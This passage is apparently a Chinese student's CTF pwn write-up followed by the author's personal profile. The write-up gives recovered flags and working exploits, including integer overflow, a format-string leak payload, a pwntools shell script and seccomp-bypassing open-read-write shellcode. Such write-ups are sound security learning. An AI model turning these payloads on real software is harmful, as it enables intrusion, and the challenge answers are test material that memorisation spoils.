  printf("%s", flag);

就是 read() 第一个参数不再是 0(stdout) 了. 读程序可以发现, 这是打开了文件 ./flag, 需要把文件中的内容输出到字符串 flag 上. 然后输出.

open() 返回 fd, 是 mex{以及存在的fd}. 其中 0(stdout), 1(stdin), 2(stderr) 都存在且没有被关闭. 所以让 fd = 3 即可.

Your Choice: 2

Puzzle2:
1131799
flag{File_Descriptor_is_so_34sy}

integer

整型溢出, 丢进 ida 里:

  cnt[0] = 0LL;
  x = 0;
  __isoc99_scanf("%lld", cnt);
  while ( 1 )
  {
    v3 = cnt[0]--;
    if ( v3 <= 0 )
      break;
    ++x;
  }
  if ( x < -1 )
  {
    puts("Right! Here's your shell:");
    system("/bin/sh");
  }

输入一个 LL 型的 cnt, 然后 cnt--, x++. 但是 x 是 int 型, 超过 2^31 就溢出了, 符号位为 1, 变成负数, 从而得到 shell. 只需要输入一个稍微比 2^31 大的就行了. 注意别太大然后给加回到了正数…

Collision

(我是sb一开始int对应两个字符去了, int 4 个字节才对啊)

丢 ida 里:

  for ( i = 0; i <= 4; ++i )
    __isoc99_scanf("%d", &inp_in_int[i]);
  *(_QWORD *)&inp_in_char[40] = 0LL;
  *(_WORD *)&inp_in_char[48] = 0;
  *(_QWORD *)inp_in_char = *(_QWORD *)inp_in_int;
  *(_QWORD *)&inp_in_char[8] = *(_QWORD *)&inp_in_int[2];
  *(_QWORD *)&inp_in_char[16] = *(_QWORD *)&inp_in_int[4];
  *(_QWORD *)&inp_in_char[24] = *(_QWORD *)&inp_in_int[6];
  *(_QWORD *)&inp_in_char[32] = *(_QWORD *)&inp_in_int[8];
  strcpy(key, "secretKey");
  if ( !strcmp(inp_in_char, key) )
    system("/bin/cat ./flag");

读入 5 个数, 然后按照地址来转换成字符串, 然后和 “secretKey” 比较. 也就是说, 一个 int 拆成 4 个字节, 每个字节对应一个 ASCII 字符. 注意大小端序.

file 一下, 发现是小端序.

key = b'secretKey'

key = key + b''.join([b'\x00'] * (4 * 5 - len(key)))    # 用 0 补全5个数

def getInt(s):
    x = 0
    for c in s[::-1]:
        x = x * 2**8 + int(c)
    return x

for i in range(5):
    l = i * 4
    r = (i+1) * 4
    print(getInt(key[l:r]))

把跑出来的五个数输入, 就可以得到 flag 了.

scripts

丢到 ida 里, 粗略一看, 还真是跑 114514 次… 然后就写了脚本计算, 发现, 本地都跑不出来…

  fd = open("/dev/urandom", 0);
  if ( fd < 0 )
    accident();
  for ( i = 0; i <= 114513; ++i )
  {
    if ( read(fd, &buf, 4uLL) < 0 || read(fd, &v5, 4uLL) < 0 )
      accident();
    printf(&byte_2231, buf % 0x14);
    printf(&byte_2241, v5 % 0x14);
    puts(&byte_2251);
    puts(&byte_2261);
    __isoc99_scanf(&unk_2271, &v6);
    if ( buf % 0x14 + v5 % 0x14 != v6 )
    {
      puts(&byte_2281);
      accident();
    }
    puts(&byte_2274);
    ++cnt;
  }

后来再看一眼, 发现初始化函数 init_proc 中有猫腻:

unsigned int init_proc()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  signal(14, handler);
  return alarm(0x10u);
}

这里有个10s后发送alarm和信号处理函数.

$kill -l

查看所有信号:

$ kill -l
1) SIGHUP    2) SIGINT   3) SIGQUIT  4) SIGILL   5) SIGTRAP
6) SIGABRT   7) SIGBUS   8) SIGFPE   9) SIGKILL 10) SIGUSR1
11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM
16) SIGSTKFLT   17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP
21) SIGTTIN 22) SIGTTOU 23) SIGURG  24) SIGXCPU 25) SIGXFSZ
26) SIGVTALRM   27) SIGPROF 28) SIGWINCH    29) SIGIO   30) SIGPWR
31) SIGSYS  34) SIGRTMIN    35) SIGRTMIN+1  36) SIGRTMIN+2  37) SIGRTMIN+3
38) SIGRTMIN+4  39) SIGRTMIN+5  40) SIGRTMIN+6  41) SIGRTMIN+7  42) SIGRTMIN+8
43) SIGRTMIN+9  44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13
48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12
53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9  56) SIGRTMAX-8  57) SIGRTMAX-7
58) SIGRTMAX-6  59) SIGRTMAX-5  60) SIGRTMAX-4  61) SIGRTMAX-3  62) SIGRTMAX-2
63) SIGRTMAX-1  64) SIGRTMAX

14 对应的就是 SIGALRM.

也就是说, 程序运行 10s 后, 会进入 handler 函数, 查看函数如下:

void handler()
{
  puts(&byte_2028);
  printf(&format, (unsigned int)cnt);
  if ( (unsigned int)cnt <= 0x64 )
    accident();
  puts(&byte_2059);
  sleep(1u);
  system(cmd);
}

cnt 大于 0x64 时, 会执行 system, 看一眼 cmd 是字符串 "/bin/sh".

而这个 cnt 就是 main 中的算对的次数. 所以只需要写个脚本算 0x64 次就可以获得 shell 了.

from pwn import *

r = remote()
# r = process('./scripts')

r.recvuntil('Let us start!\n')

for i in range(0x64 + 1):
    s1 = str(r.recvline()[12:-1], 'utf-8')
    t1 = int(s1)
    s2 = str(r.recvline()[12:-1], 'utf-8')
    t2 = int(s2)
    r.recvline()
    r.recvline()
    r.sendline(bytes(str(t1+t2), encoding = 'utf-8'))
    r.recvline()

r.interactive()

formatstring

file 一下, 64 位 ELF. 丢 ida 里, main 函数 36 行很明显 fmt 漏洞.

有两个变量, 分别名叫 flag1flag2. 其中 flag1 是局部变量, flag2 是全局变量, 而且很贴心地给出了地址, 并且这个地址不会边. 也就是没有开启 PIE.

看一下 func 函数, 是处理 flag 的. 前一半放到 flag1 里, 后一半放到 flag2 里.

自己搞一个 ./flag 输入点啥测试一下. 运行程序, 输入 AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p 找偏移量printf函数第一个参数在栈上的位置偏移量, 注意是 64 位程序, 所以前面放八个字符.

输出如下:

AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
Here's a gift: 0x4040c0
AAAAAAAA0x7ffdd38e0fe0.(nil).(nil).0x18.0x18.0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x7025.0x414141414158595a.0xa7d414243444141.(nil).(nil)

可以发现在第六个 %p 的位置输出了 AAAAAAAA. 于是构造 payload 如下, 获取 flag2

flag2_addr = 0x4040C0
payload = b'%7$s....' + p64(flag2_addr) # 注意填充8位, 然后才是地址

还是没有搞懂为啥 64 位要把地址放在后面构造. 咕咕咕, 之后问问 pwn 大佬们. TODO.

得到 flag 的前一半, 长度15. 合理推测 flag1 长度应该是 15 或者 16, 也就是占两个 %p. 由于 flag1 在 main 的栈帧上, 而 main 调用了 printf, 所以可以通过格式化字符串漏洞得到 main 栈帧上的数据内容. 方法很暴力, 直接打印一堆 %p 就完事了. 重新构造一个 30 或者 31 的 flag, 然后跑一下, 对比内容可以发现, 第 14 和 15 个位置是栈上 flag1 的内容. 然后随便写个程序或者直接手撕, 就得到了后一半的 flag. 需要注意的是大小端序问题, file 一下发现是小端序.

%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
Here's a gift: 0x4040c0
0x7ffedab34140.0x7fb5a7c7f8c0.(nil).0x18.(nil).0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x70252e70252e70.(nil).(nil).0x33647234685f676e.0x7d3f74686731725f.(nil)

0x33647234685f676e, 0x7d3f74686731725f 这俩解出来, 得到后半段 flag 为 ng_h4rd3_r1ght?}

orw

学一手 orw 先.

checksec 一下, 发现栈不可执行没开.

$ checksec orw
[*] '/home/wings/ctf/2022-kyctf/pwn/orw/orw'
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments

这和查到 orw 资料是一样的, 运行输入的代码.

ida 里丢一下, 没反出 main 函数的 c, 强行看汇编, 重要的是这几行:

call    _read
lea     rax, [rbp+buf]
mov     rdi, rax
call    rdi

大概是先读入到 rdi 中, 然后直接执行 rdi 中的内容.

所以这里需要写汇编 shellcode.

ida 里可以看到有个 sandbox 函数, 里面有一堆 seccomp_rule. 这里限制了系统调用, 用 seccomp-tools 查看可用的系统函数:

$ seccomp-tools dump ./orw
line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x0a 0xc000003e  if (A != ARCH_X86_64) goto 0012
0002: 0x20 0x00 0x00 0x00000000  A = sys_number
0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x07 0xffffffff  if (A != 0xffffffff) goto 0012
0005: 0x15 0x05 0x00 0x00000000  if (A == read) goto 0011
0006: 0x15 0x04 0x00 0x00000001  if (A == write) goto 0011
0007: 0x15 0x03 0x00 0x00000002  if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003  if (A == close) goto 0011
0009: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0011
0010: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0012: 0x06 0x00 0x00 0x00000000  return KILL

可以发现只有 read, write, open, close, exit 可用, 也就是说, 直接执行 system() 行不通了.

但是可以有这样一个思路, 由于 open, read, write 可用, 而我们知道 flag 是放在程序目录下的, 所以可以 打开 flag 文件, 读取, 然后写入 stdout. 这一套 open-read-write 称为 orw.

用 pwntools 里的工具很容易构造, exp 如下:

from pwn import *

# p = process('./orw')

p = remote()

context.arch = ELF('./orw').arch    # 注意这里架构需要指定, 不同架构的汇编是不一样的

shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read('rax','rsp',0x100)     # 64 位寄存器是 rax rsp 等
shellcode += shellcraft.write(1,'rsp',0x100)        # 32 位的是 eax, esp 等
payload = asm(shellcode)

p.recvuntil(b'BlackBird) \n\n')
p.sendline(payload)

p.interactive()

或者写汇编也行, 反正我不会汇编.

留下昵称和邮箱, 可在第一时间获悉回复通知哦~

2021 FLAG

  • 找个妹子
  • 进计科
  • XCPC拿块金牌
  • 补全算法知识, 整全板子
  • 学会Web开发相关知识
  • 在服务器上搭建电子书库
  • 写个游戏并上线
  • 能弹一首曲子
  • 写首完整的曲子
  • 练习悠悠球

个人简介

我叫 Wings, 来自江西上饶, 目前人在西安, 是西电的一名学生.

常以 WingsWingsZengWingsWings的ID在各大小网站上游走, 一般来说, Wings不是我 😔, WingsZeng 一定是我 😊.

热爱算法, 喜欢钻研各种计算机技术.

业余爱好广泛, 只要不是文化课基本上都感兴趣😏.

开发/项目经历

  1. Android游戏 小墨滴的复仇 (弃坑)
  2. Android游戏 Circle Run (弃坑)
  3. Windows游戏 Snague (可能弃坑了吧)
  4. Python后端 Fathy' (可能弃坑了吧)

to be continued

教育经历

时间 学历 学校
2008-2014 小学 上饶市第十二小学
2014-2017 初中 上饶市第四中学
2017-2020 高中 上饶市第一中学
2020-2024 本科 西安电子科技大学
to be continued

比赛/竞赛经历

太久远太小的记不到了…

  1. 2017 国学竞赛初赛江西 没有分数或排名 二乙
  2. 2018 NOIP提高 258 省二
  3. 2019 CSP-S江西专场 145 省二
  4. 2019 数学竞赛初赛 70 没排名 (复赛打铁qaq)
  5. 2020 Gitee|Python贪吃蛇魔改大赛 可能是第四? 二等奖
  6. 2020 西电ACM训练基地熊猫杯 第四 银牌
  7. 2020 西安三校微软学生俱乐部Hackathon 和二等奖最后一名差0.5分 三等奖
  8. 2020 西电星火杯 三等奖
  9. 2020 西电ACM新生赛 第九 金牌
  10. 2020 ICPC 亚洲区域赛 济南站 132名 铜牌
  11. 2020-2021 第二届全国大学生算法设计与编程挑战赛(冬季赛) 924名 铜牌 (别骂了别骂了)
  12. 2020 ICPC 亚洲区域赛 昆明站 打星
  13. 2020 ICPC Asia-East Continent Final 签完到溜 打铁
  14. 西电"智能星"第一届自动驾驶小车比赛 第五 优胜奖|极速奖 本来可以冠军的别骂了别骂了
  15. 2021团体程序设计天体赛(CCCC) 个人二等奖
  16. 2021 西电 miniL CTF 优胜奖
  17. 2021 西电ACM校赛 第9名 金牌
  18. 2021 西电数模校赛 二等奖
  19. 2021 第15届IEEE 第48名
  20. 2021 CCPC 桂林站 打星
  21. [2021 ICPC 沈阳 105名 真银尾]
  22. [2021 CCPC 哈尔滨 银牌]
  23. [2021 ICPC 南京 铜牌]

to be continued

爱好

技术

  • 算法
  • 独立游戏开发

游戏

  • Minecraft
  • Black Survival
  • I Wanna
  • Celeste
  • Life is Strange
  • Need for speed

运动

  • 篮球
  • 桌球
  • 乒乓球
  • 羽毛球
  • 慢跑

音乐

  • 吉他
  • 词曲
  • 流行

玩具

  • 魔方
    • 三阶速拧
    • 三阶盲拧
    • 高阶
  • yoyo球

追星

  • VAE
  • Benedict Cumberbatch